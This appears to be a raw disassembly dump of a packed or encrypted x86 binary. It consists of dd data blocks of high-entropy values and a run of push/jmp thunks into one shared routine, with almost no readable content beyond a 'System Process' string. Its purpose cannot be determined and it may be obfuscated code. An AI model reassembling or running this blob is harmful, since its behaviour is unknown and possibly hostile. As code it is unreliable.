dd 5DF99D21h, 439AC88h, 4AA8480h, 47C014h, 63609544h, 0E96C432Ch
dd 1EED20Fh, 0E450Eh, 50C001h, 1E2852h, 5BAEC001h, 5CCE9BC2h
dd 4422C425h, 0CDC425h, 53ABC001h, 2C1E35C2h, 0B796A126h
dd 8B7B8AE9h, 0E9D335D8h, 47C00Bh, 0D9CF7C6Bh, 0D78D10ABh
dd 0C768DD4Ch, 139C03D2h, 5D3AC001h, 9A986F65h, 0C8927B6Bh
dd 7F46FF0Ch, 11AED28Bh, 1139947Ah, 5E8C001h, 3A80A99h
dd 41685E26h, 260703Ch, 39C705BCh, 5EA41A80h, 5AF9F46Eh
dd 0D195E8h, 0D063A601h, 5774AA5Ch, 3AC3E9h, 0C342E001h
dd 24F2495Eh, 24034105h, 0A3DB05h, 0C3868701h, 997A6928h
dd 0CC109C8Eh, 573AAACEh, 1DC3E9h, 0C3D1E001h, 243B495Eh
dd 24E74105h, 0D1DA05h, 0C3BF8701h, 6844C44Ch, 666E943Bh
dd 8D121A8Ah, 8EC003h, 0BDCA1F8Ah, 6B47D61h, 0C2154D8Ch
dd 1D50C616h, 330FFA5Dh, 121E6584h, 0C1D2EB07h, 0D479C2E8h
dd 0CABBB074h, 0B402F685h, 2E7D8C06h, 0D3C616C0h, 44C775F8h
dd 0E983D00Fh, 83A4F305h, 17BD54BDh, 0D740006h, 4E4B8D8Dh
dd 1B80612h, 0FF000000h, 92B340E1h, 6A01CF80h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 8E26C351h, 92AA9399h, 5BF8535Ch, 0E82DE883h, 0Eh, 0E9228C8Ah
dd 69C868BEh, 512467EAh, 8B663A55h, 0C08B5AD7h, 2244BA66h
dd 2F01BD83h, 75000612h, 49BD8309h, 61221h, 53501974h
dd 0FCB8C08Bh, 89000003h, 1202B985h, 709D8D06h, 0FF0614ADh
dd 83585BD3h, 122149BDh, 17740006h, 0FCB85350h, 89000003h
dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0DB1DC357h, 0BCF261B5h, 8B0C10D4h, 0E95350D1h, 9, 4DF8613Bh
dd 783BD88h, 6A5A5B0Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 9F21C351h, 9B3D5A9Eh
dd 0F948318Dh, 66D68B66h, 0F5E56BAh, 289h, 8B16B600h, 12E8C0h
dd 317C0000h, 378B929h, 44D9FEA3h, 85C9B6A7h, 9A5C2534h
dd 5978D380h, 0FE9h, 90990D00h, 0C8A7364Ah, 3F1C202Eh
dd 324A4446h, 60E7C181h, 66600000h, 8B66DF8Bh, 0FFBE61D8h
dd 0E8000017h, 14h, 0F7E2F432h, 6FFD4DB7h, 0D189226Ch
dd 0A1F224B2h, 5CBCBA7Ah, 5BD88B66h, 7BB7398Bh, 7A35EF81h
dd 665346ABh, 1DB3D881h, 20F7815Bh, 0E80D8A98h, 0Ah, 5B07F1F8h
dd 0FE91A466h, 0CA8086BFh, 0C7815B28h, 3FB2C45Dh, 0EF574DBAh
dd 0F39894Ch, 0E981DFBFh, 24DEB881h, 219EA81h, 0C181434Fh
dd 24DEB87Dh, 2FBF6660h, 61CA8B7Fh, 0F01EE83h, 1485h, 32E9F800h
dd 16000000h, 11784779h, 42EA02B8h, 469CB89Bh, 0C8E0F6Bh
dd 0F000000h, 68Dh, 8E0F00h, 0E9000000h, 0FFFFFF78h, 0F8299E0Ch
dd 39361445h, 0E26EA8Eh, 31E9ABh, 76F20000h, 4FE9h, 0Ah dup(0)
dd 0E9000000h, 0C7Dh, 17C6AB68h, 826CE906h, 9868FFFBh
dd 0E90617C7h, 0FFFB8262h, 17C98068h, 8258E906h, 0A768FFFBh
dd 0E90617CAh, 0FFFB824Eh, 17CD9B68h, 8244E906h, 2168FFFBh
dd 0E90617CFh, 0FFFB823Ah, 17D01D68h, 8230E906h, 28A5FFFBh
dd 60E48AD0h, 9E1EC40Ah, 0DD5C0248h, 1A9B4187h, 683A78BEh
dd 3177D152h, 6AB0088Bh, 0A6EC42C4h, 0DE248200h, 0CD71BA7h
dd 0CE21F7F7h, 97154C7Dh, 12BC1D41h, 1108C49Bh, 0A1FC14CEh
dd 2E801598h, 0E02E19EAh, 2577E127h, 2E36BD01h, 4AB427E0h
dd 0E96775E8h, 7E2B498Fh, 0AD4183Ch, 0C821F201h, 905FCB5Eh
dd 70DE0DDFh, 0F16D19DEh, 0CD5AF809h, 3Dh, 0B60C9D34h
dd 28AC92h, 0E03237BCh, 0F749B327h, 6A899264h, 5910F4EEh
dd 53979BFDh, 21F251CDh, 1B01258Fh, 0DCAE4197h, 4C9B077Ah
dd 0ACDE0E12h, 25A1551Ah, 15AF7DBh, 0D4h, 5971568h, 0B8DC2E86h
dd 0B9E5E357h, 0F83C2F89h, 27E063EBh, 0D13385EFh, 3DCF505Eh
dd 811466BEh, 0D757F573h, 0CA1CEE81h, 4DAB2937h, 66C24329h
dd 0E8DADE04h, 6927E067h, 83698DEBh, 1C42A404h, 0B9EF876h
dd 7A9E2485h, 0F2759C36h, 0AEF45E21h, 8DD11990h, 0DE0E7346h
dd 0A4C81A84h, 80E23CBEh, 0DEA6387Ch, 0CA34D81Ah, 0E93FC0A6h
dd 0E87CFDA3h, 0EBF83C64h, 0EFD439A6h, 0CEA03385h, 50BB237Ch
dd 2E31F5AEh, 0A7641h, 8BED6A00h, 0C51B9F45h, 0FB59D97Fh
dd 38900FB5h, 75CB4CF2h, 0DB1F12Fh, 48EE348Ch, 83296FC5h
dd 0BB61A701h, 5E95DB3Dh, 0F4458ED2h, 348521F7h, 3C941503h
dd 87AF3218h, 0E032B043h, 7ED03A27h, 0D250F61Ch, 0CF22E74h
dd 0F2D3358Bh, 92B60C9Dh, 0F213C84Eh, 8D208A21h, 0DECD621h
dd 0DFA032DEh, 0F81CAF2Bh, 0BD8B5Ah, 15F20000h, 0A0AE4197h
dd 0A229121Fh, 0B938245h, 0C8BA26B9h, 0B327E0C5h, 4DACB152h
dd 9A1856CBh, 85D7A93Ch, 0E137B523h, 0BF55D7BDh, 396E840h
dd 3A9CF31h, 0A902385h, 7DF91D9Fh, 0E007AA39h, 0BDC63027h
dd 257F40E9h, 8C90F29Dh, 0F2C68A48h, 0C0067021h, 91B507A2h
dd 1A687A4Dh, 109238D8h, 0B1A4ADB6h, 358DE0FAh, 58D9BFE3h
dd 1D7EBA00h, 0F9CC319Ah, 74E244FBh, 8E449DF3h, 10F5AD25h
dd 989200Dh, 7D0000h, 38BC62A8h, 76F69CE2h, 0B534DA20h
dd 0F273195Fh, 90125096h, 94FA92Ah, 4288E063h, 7EC41A9Ch
dd 0B6FC5AD8h, 24AFF37Fh, 0A621F7F5h, 94152455h, 0D250F63Ch
dd 15152E74h, 0A0AE4197h, 607EC422h, 694F7349h, 29FB8EE6h
dd 6147C3C7h, 77F583E1h, 5ABC8E21h, 0F216E48Eh, 2CE64721h
dd 4093D793h, 8ADE0D3Ah, 0F7251720h, 8AABD032h, 68A99ED5h
dd 0D533B19Eh, 909E3183h, 9FF57812h, 0C343294Dh, 37DD0365h
dd 553B5FB9h, 0A91C7ED6h, 89EF983Dh, 9F00744Dh, 5C310A7Bh
dd 2FE0E9FCh, 8995FF31h, 21062082h, 256BCD4Bh, 0DA296DE9h
dd 204189C0h, 68E654B6h, 0FCEA2657h, 0F865ECF1h, 8F27BE38h
dd 3BCE2072h, 892001CFh, 0A689AB41h, 2EB04AC8h, 76C81E9Ch
dd 79BF11E3h, 5ADBC13Dh, 0AD996BFEh, 41892026h, 6AD83AA4h
dd 8BF78AECh, 0BE76DF87h, 13E9CED0h, 147B7C95h, 31FBA4EBh
dd 34C721A3h, 24CA1062h, 49614A6h, 0CA9C2F85h, 0C113E578h
dd 25A48A2Eh, 86A3CCFh, 11358722h, 6B825195h, 0DE484189h
dd 9234787Ch, 60479B71h, 1792B0F6h, 5B3D81A5h, 3A41A502h
dd 1D697ABEh, 7717DA5h, 831680A5h, 1E76F9DFh, 1DE6F0BCh
dd 70027DA5h, 0C77FFB8Fh, 0ED5BFAA0h, 0C2000004h, 0A9D5ADh
dd 325FA4E8h, 319B27E0h, 6D5ABBDFh, 0F8DD317Ah, 8804086Ah
dd 36C91FA2h, 68360264h, 0EA21F2BCh, 47294580h, 0D602C166h
dd 0FE1B5875h, 56787BAh, 14388A1Fh, 0EC1886D0h, 0FD7F653Ch
dd 3B8DE367h, 4F74D6A8h, 32AE52E5h, 346C5AD1h, 6854AD39h
dd 30EBE39Bh, 8DD1F55Fh, 30EBE246h, 0D2B81A84h, 0CA2AA9D7h
dd 8F105478h, 4B36F9D9h, 53D7BDE1h, 0B1979BFDh, 0E98FD533h
dd 28B40D6Bh, 0AA168E51h, 7A1BAA7h, 18950000h, 50D47AC0h
dd 8E0EB4FAh, 0CD4CF238h, 0A8B3177h, 782A68AEh, 2167C142h
dd 5AA0F87Bh, 96DC32B4h, 0CE1472F0h, 3CC70B97h, 0BE21F7FBh
dd 97153C6Dh, 0BDBC1D41h, 0A3893118h, 0BBC93C9Eh, 1297DD3Bh
dd 111h, 0B70D9D49h, 0A5B52DABh, 0DF40D49Bh, 55327A7Ch
dd 5A7EE0B5h, 54E50EDEh, 0A1BCh, 0D9D2300h, 0D63293B7h
dd 0D547ACFDh, 24686CCEh, 27E0F5DAh, 0D1BAE18h, 9A9A828Fh
dd 6E77D153h, 7BCD3F40h, 4C97DB57h, 0AF27E06Dh, 0E06D986Bh
dd 0B3F86227h, 0DF39BB49h, 0BA1B577Dh, 0A0B7F62Bh, 85C9ED1Ah
dd 27E0487Eh, 42B0127Ch, 583E62C4h, 1CEE81D7h, 20B30D8Eh
dd 0F379EC4Eh, 3A47C8B6h, 0A980EBE2h, 0D82A7C17h, 84E670B4h
dd 3EE421F2h, 864D91BDh, 44DE0E64h, 6CF588DAh, 710A3734h
dd 2072C40Ah, 9CBB9BFCh, 0DC335BE9h, 0CE60077Ah, 42E15DE9h
dd 7BD5AF7h, 24000000h, 12036h, 0C9D6D00h, 8430EEFFh, 0E93B5BF2h
dd 0E99B81C5h, 9C8221F2h, 3D62C41Ah, 62F47AD3h, 373AFF99h
dd 67A4Ah, 97F16E00h, 0D127AB51h, 0F65E58Bh, 44A423C9h
dd 81D758FEh, 19A5FD3Bh, 54FA4098h, 8F357BD1h, 0C76DB30Dh
dd 72A9EF49h, 0F851A2E6h, 489921F7h, 0B70D9D17h, 50E42DABh
dd 0D8E679CFh, 0E640C254h, 195D0194h, 27E032CAh, 2749A610h
dd 323CA640h, 0FB3DB94Dh, 967C54E5h, 0F55CBE18h, 76h, 0B70D9D5Ch
dd 72E62DABh, 77F38768h, 5354E5FAh, 62h, 2130B197h, 68F36DBDh
dd 18ABFDE6h, 0ABA33074h, 0BD2727E0h, 9D28096Bh, 52A1E50Dh
dd 9827E032h, 3CB8DC2Eh, 0E032EBF8h, 7C85EF27h, 0DD62D90Ch
dd 0FAE648E2h, 75F83C7Ch, 730662E3h, 0AEBC4FA1h, 9240D32Dh
dd 238D2F10h, 6EC6492Fh, 8DA709DBh, 0CC6E76AAh, 1F6327E0h
dd 54E508A4h, 0FFFE4C7Eh, 0D9DE5FFh, 0F6B17800h, 3587828Ah
dd 0FAD2B11h, 0D2A43791h, 0B91BED80h, 6BEF4FCDh, 6EEA9E61h
dd 4C54E5F5h, 240h, 3C9415B3h, 54B23218h, 1A8DEFC1h, 0A4378D0Ch
dd 1C886FF9h, 20013FBBh, 0E2B4479Dh, 6996ECD9h, 0C0189907h
dd 0DD33B69Ch, 0F016784Ah, 0DC6FC94Ah, 78CE5238h, 0DD0A13E5h
dd 231BA13Fh, 0E5C4AA0Ch, 57D5BBDFh, 579B9F01h, 21F26649h
dd 8B0EA10Bh, 6FF0CEB1h, 8E0FF519h, 6BCD9F32h, 861E9F45h
dd 0C558AA04h, 0E608E59h, 2D1234DEh, 2C72CE4Fh, 18AB0586h
dd 81A51792h, 2ABD1B9Bh, 0EA4CCA58h, 1F238557h, 1C43D9DBh
dd 0F339A3D8h, 0CAEED4D5h, 63B79D69h, 0D537EDA2h, 95D955D1h
dd 0D43CE34Eh, 1167E68Ch, 0F85AAC7Eh, 2EF99A2Ch, 5BEE58D2h
dd 2A85E4EFh, 0CBACCECAh, 72962C7Dh, 11947AF6h, 6A5628BBh
dd 0CA2A8599h, 0C995F761h, 0CC389E07h, 9458BF5h, 975AC7A8h
dd 82E4F077h, 1C409614h, 26975CA0h, 1753C058h, 582600D3h
dd 0E60CAC0h, 0AD2B39ACh, 55D00194h, 0B4F2FB4h, 0C0589FF8h
dd 0B8469802h, 7A4CDF35h, 0C0A6E228h, 7D4FE240h, 4E74351Bh
dd 996AAE2Ah, 61C0589Fh, 7194FD40h, 47996E0Ch, 539DE1E5h
dd 91C64A13h, 0DF289427h, 0D2C645EDh, 0E9593E53h, 0D567480Dh
dd 5FE2F083h, 0F5241952h, 1B6D08A0h, 442B0588h, 6E97BA2h
dd 408BF672h, 42D473h, 9D3B0000h, 9DFB7A0Ch, 0C2E6380Ah
dd 0F213387Eh, 9514BA21h, 0EE5AED3Fh, 0DE0DEDE1h, 1E8A6DFFh
dd 0ED955EA2h, 3455DE0Dh
dd 0D6349CA2h, 8BED3F14h, 0F882EB67h, 0A5C75Ah, 0AA0B0000h
dd 8793A8CFh, 513294A5h, 2B6F9715h, 27E032D8h, 0D366B822h
dd 59EC44C5h, 0D86BCD4Bh, 0A4EA4CCAh, 0E036B2A0h, 57B12F27h
dd 4DB6F311h, 51AFF6D9h, 688CDE87h, 0B6FAD24h, 4AC8AEDEh
dd 82D432B0h, 96BB1DEFh, 0A68C082Ch, 6739CC22h, 7E169705h
dd 4416A9FFh, 8506ACF2h, 8822D22Bh, 0F5F8FF9Ch, 38608h
dd 9BFD7A00h, 0D52BAF55h, 0B69E98Fh, 48A01FC5h, 85DB5C02h
dd 1DA1013Fh, 58FE449Ch, 93397FD5h, 0CB71B711h, 6EA5EB4Dh
dd 0FF559EE2h, 449521F7h, 3C941513h, 55B33218h, 0A927CDF3h
dd 15F0094Fh, 0A0AE4197h, 657EC422h, 86059715h, 7F1274F2h
dd 76095BADh, 0D668ECD2h, 9769FC52h, 0F775E345h, 6C3D5BA1h
dd 0E0EE3256h, 321F21Dh, 0E3B04387h, 0D03ADE0Dh, 4CDF496Eh
dd 0DE317E0h, 985FF1DEh, 0F82570ECh, 474E5Ah, 16920000h
dd 0BF52B030h, 0EBF201EDh, 0CF34DE0Dh, 275F8F53h, 0DB3DA7ECh
dd 0B60C9DFAh, 0D228AC92h, 96286C70h, 6421F213h, 94E640BEh
dd 7B1B0F70h, 1AD68D71h, 0ED945B8h, 0EADE0D84h, 67E39758h
dd 435AF844h, 10Bh, 419715AAh, 0C91FA0AEh, 0E33DBFA5h
dd 69BF4250h, 3442B517h, 50A624B6h, 0D92FAFBDh, 0D0227446h
dd 1BB12F3Dh, 2E840498h, 40448ADCh, 27E03652h, 0B1F751CFh
dd 982B8D0Bh, 1259712h, 0DCB8BBDh, 0CA0E8ADEh, 0DE0DCA39h
dd 0EF3357C1h, 0DE0DCAE4h, 0F51A7CE6h, 0A7EB678Bh, 0DE0DCA5Ch
dd 2177F89Eh, 0B476DCFh, 0B84BA125h, 5F2B092Fh, 0B507B09Ah
dd 863C6D53h, 266AE662h, 0DE0D16DDh, 8551B31Dh, 0D819BB0Ah
dd 0DE5A7EE8h, 3845499Ah, 0C52791D4h, 0FE5ADBC1h, 14967CB8h
dd 0F35527BAh, 99F50485h, 87D3BF06h, 9D308604h, 0CE2779CBh
dd 0F5AF335Ch, 2EFF2h, 0F4000002h, 35DB2177h, 6F155BB1h
dd 0AD5399EFh, 0EA90D62Eh, 8BC90F69h, 0C622A317h, 157DA80h
dd 3D9315BBh, 75D351F7h, 286CF82Fh, 21F7FDDBh, 159DCE1Fh
dd 50F63C94h, 0F22E74D2h, 32A13276h, 5DE027E0h, 5DA27407h
dd 0EC5583Ch, 56A86E9Dh, 57EA48C8h, 9D422385h, 0AC92B60Ch
dd 6D71D329h, 0F2139729h, 0D7FB6521h, 84176DF1h, 39DD50B2h
dd 0E275D353h, 0ABFD53D4h, 0EC727D49h, 0FC8EDE0Dh, 1D138F3Bh
dd 0CBEF5AF8h, 56000000h, 6CD71E7Fh, 0EF102A8Bh, 47A11F8Dh
dd 0CB25A6B4h, 42E6CC38h, 0DFC527E0h, 38A60860h, 0DA165CBAh
dd 27023979h, 4F5818DBh, 0B95083BAh, 3CAA0C47h, 4FD568BEh
dd 44685Ah, 21F29B4Eh, 0DEFC42ACh, 91D5F9CBh, 0D81A3057h
dd 8B072B95h, 39CCBC47h, 72D43ED4h, 0B107886Eh, 1A44C56Bh
dd 39CC0DD6h, 0D563CDD4h, 4FA8FA52h, 0F5AE3ACBh, 4796669h
dd 0F8000001h, 31D71D7Bh, 6B1157ADh, 0A1478DEBh, 0D67CC222h
dd 77B5FB55h, 0B20E8F2Bh, 0ED43C66Ch, 297F01A7h, 69BF3DE3h
dd 1C60EC23h, 21F7E2D7h, 7F91C213h, 4BF0171Eh, 6CCE0A49h
dd 0DD237DFEh, 27A8B937h, 0B446779Ch, 2B31221Ch, 0F4766122h
dd 8786B9EBh, 0B305B608h, 9715546Dh, 32D82B6Fh, 0FF4327E0h
dd 27E032F4h, 0DD478CF6h, 6E54F88Bh, 300295EBh, 84E260CEh
dd 0F789203Eh, 0A5C91B75h, 321EE529h, 72DC27E0h, 0CBC80C10h
dd 0AF21F7F6h, 26A4B245h, 66E48AD0h, 0F3D97D10h, 3C065C75h
dd 890F0CD8h, 4CF1337h, 0C6DE085Eh, 5F2EFA5Ch, 3997F6FAh
dd 74F2C8AFh, 2E8DEE12h, 0DC3CBBD1h, 0CA227DD3h, 1E9C4268h
dd 0A82735C8h, 763ABD50h, 24B70D90h, 11D6F052h, 173B9D1Bh
dd 8DB1F9Bh, 0D288098Bh, 8B777C68h, 0A82A8809h, 3D9F094Eh
dd 59F37117h, 0DFED80D8h, 0A072055Bh, 7C69FC4Eh, 3, 151A8BB3h
dd 9FAD4098h, 2634C721h, 0A9B74AA4h, 2D3BCE26h, 0B3C154ACh
dd 3543D632h, 0BDCB5EB6h, 4654E73Dh, 22D96CC2h, 65FE68h
dd 243C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
dd 0EA4h, 68242C89h, 617C570h, 83241C8Bh, 8B5404C4h, 0C483242Ch
dd 696804h, 1C890000h, 8458F24h, 5D2434FFh, 4C481h, 34FF0000h
dd 0C4815B24h, 4, 0FB7601E9h, 0C06716FFh, 13F8F7DDh, 0D146B8C5h
dd 0C5030617h, 5EA3E0FFh, 73310E6Bh, 0AA865F6Dh, 0F6FD4952h
dd 0CADA7490h, 0E8903FEh, 8DB96BF3h, 5C985462h, 4F4E3F61h
dd 9FFC626Dh, 0D67B02C3h, 9B51654Dh, 0EE620295h, 3C2346D3h
dd 1BD93863h, 133770C5h, 601E4D8Ch, 7FAC7E90h, 0F74A6452h
dd 5D8A59D5h, 68FF7C53h, 7CAA5D79h, 31C6182Bh, 8D8D2E49h
dd 617D2F6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 83C35343h, 0A1A9E6E8h, 0B257F987h, 66515E50h, 54F1C081h
dd 0D1B70F5Bh, 2DCD8D89h, 6A0612h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0E80BBAC3h, 0D993365Eh
dd 0BBB63307h, 2A97EEF0h, 31BD85C7h, 595C0612h, 0BD8B0000h
dd 61215F5h, 1185C7h, 612h, 0BE90000h, 0F5000000h, 58967836h
dd 100A1A2Ah, 0B5FF94A2h, 61225B1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 9CC35040h, 0DC5C6752h, 0A8FE906Dh
dd 278195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 89E814C3h, 1227ED85h, 0FF006A06h
dd 1229D195h, 0EBC08B06h, 2489AF0Eh, 88DE0443h, 0F5838B14h
dd 8D34FCE1h, 17D3D18Dh, 14E906h, 0EBD90000h, 4BF17428h
dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 0D880C66Dh, 0CD8D892Dh
dd 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 5A68C353h, 0BD85C767h, 0D0061231h
dd 8900005Bh, 1221358Dh, 1185C706h, 61200h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 420DC352h, 22275794h, 0B5FF3C02h, 6122B19h
dd 0B1DA8166h, 8195FF3Bh, 6A061227h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCDBC356h
dd 304CD976h, 0C3816600h, 95898BDDh, 6122A19h, 95FF006Ah
dd 61229D1h, 2EEBC08Bh, 0D57EE54Ch, 4B87382h, 0CB6827BDh
dd 48FAC6FCh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h, 46AE4900h
dd 4D103B85h, 0BA1C6DB0h, 7B39BDCEh, 0FE896FCh, 2D000000h
dd 6D64EBF5h, 725AA548h, 7769AF18h, 852B5997h, 61224A1h
dd 9AB3BE5Bh, 0C3810938h, 6162h, 7E9h, 6B9DE700h, 3089037Eh
dd 4C2070BAh, 0ABC2816Bh, 8B94B3F7h, 1202F585h, 0E933FF06h
dd 0Eh, 7B893C76h, 7833F1ACh, 6CB9C5EDh, 60593AC4h, 21C1858Bh
dd 12E90612h, 0C0000000h, 0FB94F673h, 0BC477DBFh, 0EB8D055Bh
dd 0E4A752DCh, 0E981615Bh, 1B1A7296h, 959D01h, 0E9810612h
dd 4028340Fh, 0E981F38Bh, 2202E4E2h, 21699D29h, 0B890612h
dd 0AE8h, 9DD38200h, 7A55113Fh, 89962416h, 122DA98Dh, 0EB815806h
dd 2995A5C7h, 24D4E2BFh, 0C3C38118h, 812995A5h, 8707B0F0h
dd 850F4A66h, 1Bh, 2AE9FE8Bh, 15000000h, 0C10BD93Fh, 79D69345h
dd 54184187h, 48AF71F2h, 0BE31A097h, 0BFD4AD7h, 0FFFF50E9h
dd 4B10A9FFh, 0F8E15977h, 0F324B9CDh, 8D8D8D68h, 810617D5h
dd 0F49ABDC0h, 0CD8D8922h, 6A06122Dh, 3E85700h, 20000000h
dd 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0F2FC357h, 85C7D3BFh
dd 61231BDh, 6234h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0D2C35040h, 818D41C2h, 957E10DBh, 1185C75Ah
dd 61200h, 0FF000000h, 1231F1B5h, 8529F806h, 612261Dh
dd 278195FFh, 85090612h, 6120C95h, 95FF006Ah, 61229D1h
dd 7EEBC08Bh, 846FBDDh, 123B4FDDh, 19D31ED4h, 495425BCh
dd 5BDD3C8Ah, 894CE084h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch
dd 4CD059Bh, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0FB87833Dh
dd 91865DE0h, 90ED8568h, 6B4CDA7Eh, 0CB8A9E8Fh, 0C663B256h
dd 571F87D7h, 0BA8FC788h, 51354D7Fh, 9496BC94h, 0F64BD5Bh
dd 0EEF72340h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h
dd 9CDEB088h, 6F7DD7CCh, 7DE9ECECh, 0AE000001h, 0FC516C68h
dd 9286876Eh, 0B04E7B4Ah, 0BB09A65Eh, 0B850AD50h, 0B309AE50h
dd 8F50A55Eh, 86398E77h, 850DC22h, 6CD22776h, 9C9E23C2h
dd 0F509BB0h, 2850EA12h, 1, 4000000h, 2 dup(0)
dd 33000000h, 0
dd 8000000h, 0
dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
dd 45h dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DA8DA
; ---------------------------------------------------------------------------
push 617D9A8h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DAAEh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DBAEh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DC86h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DDD9h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DF0Fh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617DFD1h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E0B8h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E28Bh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E353h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E3FDh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E4ADh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617E64Ah
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617EB94h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617EC95h
jmp loc_59027A
; ---------------------------------------------------------------------------
db 0E8h
dd 21C70D6Bh, 5B01479Dh, 91377DDBh, 0C66CB212h, 67A5EB45h
dd 0A2FE7F3Bh, 0DD33B65Ch, 196FF197h, 59AF2DD3h, 0C50DC13h
dd 21F7EAC7h, 785EB203h, 0FE0C9FF5h, 0C496297Fh, 7F2F1072h
dd 3234BF03h, 4CB627E0h, 0F1FE7CEAh, 8B0A65B1h, 0BFC89A2Dh
dd 0D22457F7h, 55B3313Fh, 2B8F10Fh, 0E1DA7DDEh, 0BA7F738Ch
dd 0C6105458h, 421F2C2h, 827F84C8h, 117BDE0Eh, 34B59BBFh
dd 9B077ADCh, 0DE0E824Ch, 8BCF30ACh, 75DDCD9h, 3A3CEFFEh
dd 4DF9BED8h, 5AF756D1h, 58ADh, 0C9D1400h, 301692B6h, 29F557ADh
dd 21F21397h, 16202586h, 0E7F0376h, 0EA4B87ACh, 0BE988ACAh
dd 58AB97C3h, 0A2DE0DFEh, 0E753E638h, 0DE0DFE18h, 22B51391h
dd 276B9314h, 0DE0DFEDCh, 0CF62B41Eh, 1ED89F21h, 0F68265F7h
dd 5AF82E7Ah, 0FD53D5BBh, 0CF36986Ah, 0CDh, 41971536h
dd 0C91FA0AEh, 4CAA2836h, 0CB2DABB9h, 0E7CD4985h, 0A6780B65h
dd 0E03229BAh, 0E547B127h, 0E0360519h, 0E4108E27h, 37237DFEh
dd 0D81FC9ACh, 2C72C42Eh, 1BAE0886h, 7E6A1677h, 209E1530h
dd 0EBD1D8BEh, 0C44183C7h, 41ABDE0Dh, 5CB4371Dh, 6F95F7C9h
dd 3E625851h, 196DE4FAh, 688CF6D8h, 2B8506ECh, 7EDA5BC9h
dd 7B119238h, 0FE0C9FF9h, 0C496297Fh, 0F90A4E72h, 1D43977h
dd 0FBEC4597h, 5BF5AE92h, 138A6B58h, 0F06D0000h, 28AC5298h
dd 66E68CD2h, 0A524CA10h, 0E263094Fh, 0A0024086h, 0F93F991Ah
dd 3278D053h, 6EB40A8Ch, 0A6EC4AC8h, 549FE36Fh, 9621F7EBh
dd 94151445h, 0B432183Ch, 2FB1BF52h, 0FF2587D9h, 377DDB59h
dd 0B60C9D1Eh, 13C84E92h, 4E8A21F2h, 0DECF90Ah, 459701DEh
dd 0A6280EB2h, 0E543C250h, 0EC28B783h, 4CC8DE0Dh, 0FE91E766h
dd 0CFB0CA2Ch, 0F81CBF3Bh, 9418FE5Ah, 77D9AB3Eh, 0E510h
dd 97157700h, 240AAE41h, 0EBBD50A6h, 3E9A1B89h, 367B3FABh
dd 36B427E0h, 57D6BCE0h, 3A9C6E01h, 96F06E14h, 962C7D03h
dd 0C2942E72h, 0EC56DE0Dh, 0FB084CC8h, 0FFDE0DC2h, 0EB7437DEh
dd 4B9DB818h, 0B87C3E9h, 0DD13CC7h, 0F254BEDEh, 6BEB9D0Ch
dd 1B97BB0Dh, 0F85AB235h, 19785B2Ch, 89AD17D8h, 0B3AC90Dh
dd 9DE1D439h, 0D4390B56h, 7BE52A94h, 0AE2F1519h, 0E93B9516h
dd 247CFDA3h, 0AEEE9ACBh, 321F22F5h, 1284h, 488EEA67h
dd 82C81EA2h, 0C0065CDCh, 0F73D9B1Ah, 3278D051h, 8F10AEF4h
dd 0CA4DF339h, 4862C72h, 40BE64AAh, 0DD69A0E6h, 0F7E84A99h
dd 0E3F9021h, 0C5859415h, 6199B61h, 4D96DAFEh, 8D27E058h
dd 4F8BD123h, 0D051EB69h, 0C113E578h, 1573F15Fh, 29AD93CFh
dd 0BD86E91Ch, 46989F0Fh, 971503E4h, 22A0AE41h, 58D87EC4h
dd 0DB5967FAh, 5529377Dh, 163A8029h, 195347B5h, 2F91B784h
dd 4BC9AF2Bh, 26885AEDh, 0F2334C5Ah, 8ED20E21h, 0DE0DCC45h
dd 8EC91B85h, 87FD6472h, 0C70B8729h, 2583FF3Ch, 0CF254BEh
dd 0BF03279Dh, 2391FCB1h, 300D1233h, 0E84C7F61h, 2C7D0396h
dd 7AF67296h, 0B182AD36h, 0ADF12DDBh, 0DBB18226h, 86E83AA4h
dd 0A40057BAh, 88CC48DDh, 0D1DC1C7Bh, 787157Fh, 0C02A4FB1h
dd 0A238B69Ch, 6133C620h, 0A78DC90Fh, 6A3CCF29h, 0BA1C9A08h
dd 4BF97A61h, 2EFF2F0h, 1184h, 488EEA67h, 82C81EA2h, 0C0065CDCh
dd 0F73D9B1Ah, 3278D051h, 8F10AEF4h, 0CA4DF339h, 4862C72h
